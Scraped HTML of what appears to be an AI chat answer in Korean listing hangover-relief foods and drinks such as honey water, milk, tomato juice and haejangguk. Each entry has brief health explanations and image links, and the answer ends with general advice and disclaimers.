s://namu.wiki/w/%EA%BF%80%EB%AC%BC"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="꿀물 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRyzVc-siqdn0WBkwe8yUSSRdsORiERJJRfhMMqINbiOANxbZe3yKNU05VBZSLE"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%BF%80%EB%AC%BC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 꿀물 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="11:1-12:19"><strong>우유:</strong> 우유에 함유된 단백질이 위벽을 보호하고, 칼슘이 신경 안정에 도움을 줍니다. 하지만, 지방 함량이 높은 우유는 소화 부담을 줄 수 있으므로, 저지방 우유를 선택하는 것이 좋습니다. <ul data-sourcepos="12:5-12:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/B_EoS0GuxkPcIDQ2qMV-8u-UfuZcpibZ2tZlOrbCLB7c6dN1UUH3BxcZM9HPTa2d0z6YUA5rhOcTHEtQOD5avg.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%9A%B0%EC%9C%A0"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="우유 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR8Hbdle5x8GUv161_vHyZOqyq--0sjuWKjVSpC7NEw7EwH1XxG4A39j8CwLr6u"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%9A%B0%EC%9C%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 우유 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-14:23"><strong>토마토 주스:</strong> 토마토에 함유된 글루타치온이 간 해독 작용을 돕고, 비타민 C가 면역력을 강화시켜줍니다. <ul data-sourcepos="14:5-14:23"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember./cache/recipe/2023/04/16/c1cdd349353aaed4333048123ec484681.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7000741"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="토마토 주스 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ2hF8inbowp28cteXanKLLQwzyJ1IE8Pf_5jfA3RF4lhmYipdmOTniEOrWxYp8"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7000741" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 토마토 주스 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="15:1-16:20"><strong>바나나:</strong> 바나나에 함유된 칼륨이 체내 나트륨 밸런스를 조절하고, 비타민 B6이 신경 안정에 도움을 줍니다. <ul data-sourcepos="16:5-16:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/Mj0aArUbJiq5_c500MqmbYyDPWnSiDBCsxbesdkR0XTOtDvwrjj2ponJvctbYgQ7zPE_LvjsJHAl786rZu0tkw.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="바나나 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSyp_OHLD_jOtgWxMe8djlFJzpwzQWh6xiZPGj9R-bQiGEPy_RpbNqZm8SXB5NR"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="17:1-18:19"><strong>달걀:</strong> 달걀에 함유된 시스테인이 간 해독을 돕고, 단백질이 손상된 세포를 복구하는 데 도움을 줍니다. <ul data-sourcepos="18:5-18:19"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://image.artbox./upload/C00001/goods/800_800/561/230607003950561.jpg?s=/goods/org/561/230607003950561.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.poom./goods/initDetailGoods.action?goods_no=G23060669718"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="달걀 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQBpA042eSHLSXnZAoOzbFt38hS4ljIQs9vBg_ziD1aJgtdBkKixq4S4nQCbPDX"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://m.poom./goods/initDetailGoods.action?goods_no=G23060669718" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTfAy7Hev7kocFCwaBnPBQnrgQ7K7TUB71uy50XyszTXAsmBIdgMergNPbx4syLLJCIERZRiDtreM1Zkfkd80DN68M_x3rR"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.poom.</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 달걀 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="19:1-20:20"><strong>매실차:</strong> 매실에 함유된 구연산이 피로 회복을 돕고, 알칼리성 성분이 위산을 중화시켜줍니다. <ul data-sourcepos="20:5-20:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://attach.choroc.com/web/goods/1/img1/015232_20230428154317.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m.choroc.com/goods/WG015232"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="매실차 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTs0nzF7qYLwgrmmr54FGgcd1xI4ucyMqV0mRZKlA6BoRHc-gFsxWg-TlNDEmXh"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://m.choroc.com/goods/WG015232" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ3p0XQFRTFZ0LuG52VafXpsufoIi1DN_08MXvA2OdEVT95t7kJiLXv9QI8Xae1X4GkYRTdZhidEY3hz7Bomp30Do32rQQc"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">m.choroc.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 매실차 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="21:1-23:0"><strong>녹차:</strong> 녹차에 함유된 카테킨이 항산화 작용을 하고, 알코올 분해를 돕습니다. <ul data-sourcepos="22:5-23:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.namu.wiki/i/Asx9I5r7MFtgpzkhILx3fV9oSY8wdXkct2fmrGU5WnfvWzgEDr7KxWXb-UemK_voVlvcjxkpA8y8te83tmrT2w.webp"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%85%B9%EC%B0%A8"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="녹차 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcScR8dznpdH3edV8xsYUovYbQz8MkJNVCOxNuwNWhRcvGrN9OmHx1XY9HmeHCEa"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%85%B9%EC%B0%A8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="24:1-24:30"><strong>꿀물 vs. 우유, 어떤 것을 선택해야 할까요?</strong></p><p data-sourcepos="26:1-26:65">꿀물과 우유 모두 숙취 해소에 도움을 주지만, 개인의 취향과 건강 상태에 따라 적절한 음료를 선택하는 것이 좋습니다.</p><ul data-sourcepos="28:1-30:0"> <li data-sourcepos="28:1-28:32"><strong>꿀물:</strong> 빠른 효과를 원할 때, 속이 메스꺼울 때</li> <li data-sourcepos="29:1-30:0"><strong>우유:</strong> 속이 쓰릴 때, 단백질 보충이 필요할 때</li> </ul><p data-sourcepos="31:1-31:29"><strong>꿀물과 우유 외에 추가적으로 도움이 되는 음식</strong></p><ul data-sourcepos="33:1-37:0"> <li data-sourcepos="33:1-34:20"><strong>해장국:</strong> 콩나물국, 북어국 등 뜨끈한 국물은 속을 편안하게 하고, 영양을 보충해줍니다. <ul data-sourcepos="34:5-34:20"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember./cache/recipe/2015/04/03/4fd902b2a193b9be127591a6626289aa.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/3441973"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="해장국 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS6rTqLxEUI9QKRyfPGZ5Qe6KiwvLK7BYmDiBlyDEzgpz1KHnCcot_L06n-8opX"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/3441973" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 해장국 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="35:1-37:0"><strong>미역국:</strong> 미역에 함유된 알긴산이 중금속을 배출하고, 요오드가 신진대사를 활성화시켜줍니다. <ul data-sourcepos="36:5-37:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember./cache/recipe/2017/08/29/2bad7206644f82f63d339b11c7344dc61.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6875524"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="미역국 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSZ_KGOP2EA6VzYiN7P2eSkneqJpxENeH3ttyDbROUxI05oXvh8clCQqk50yVoA"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6875524" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_14ec03ee87dffa39","c_762d1986883823c9",null,"rc_6a8a61febb4a8267",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 미역국 </div></div></single-image></response-element></div></span> </ul> </li> </ul><p data-sourcepos="38:1-38:21"><strong>숙취 해소를 위한 추가적인 조언</strong></p><ul data-sourcepos="40:1-43:0"> <li data-sourcepos="40:1-40:45"><strong>충분한 수분 섭취:</strong> 알코올로 인해 탈수된 몸에 충분한 물을 마셔주세요.</li> <li data-sourcepos="41:1-41:40"><strong>충분한 휴식:</strong> 숙면을 취하여 몸을 회복시키는 것이 중요합니다.</li> <li data-sourcepos="42:1-43:0"><strong>음주량 조절:</strong> 숙취를 예방하는 가장 좋은 방법은 과음을 하지 않는 것입니다.</li> </ul><p data-sourcepos="44:1-44:8"><strong>주의사항</strong></p><ul data-sourcepos="46:1-48:0"> <li data-sourcepos="46:1-46:62">개인의 건강 상태에 따라 적합하지 않은 음식이 있을 수 있으므로, 전문가와 상담 후 섭취하는 것이 좋습니다.</li> <li data-sourcepos="47:1-48:0">꿀은 당뇨병 환자의 경우 주의하여 섭취해야 합니다.</li> </ul><p data-sourcepos="49:1-49:26"><strong> 출처:</strong> 픽사베이, Unsplash</p><p data-sourcepos="51:1-51:49"><strong>숙취 해소에 도움이 되는 다양한 음식과 음료를 통해 건강하게 숙취를 이겨내세요!</strong></p><p data-sourcepos="53:1-53:61"><strong>Disclaimer:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다.</p><p data-sourcepos="55:1-55:52"><strong>참고:</strong> 은 내용과 관련된 시각적인 자료를 제공하기 위한 목적으로 사용되었습니다.</p><p data-sourcepos="57:1-57:51"><strong>추가 정보:</strong> 숙취 해소에 대한 더 자세한 정보는 의료 전문가와 상담하시기 바랍니다.</p><p data-sourcepos="59:1-59:27"><strong>주의:</strong> 과도한 음주는 건강에 해롭습니다.</p></div> </div></div>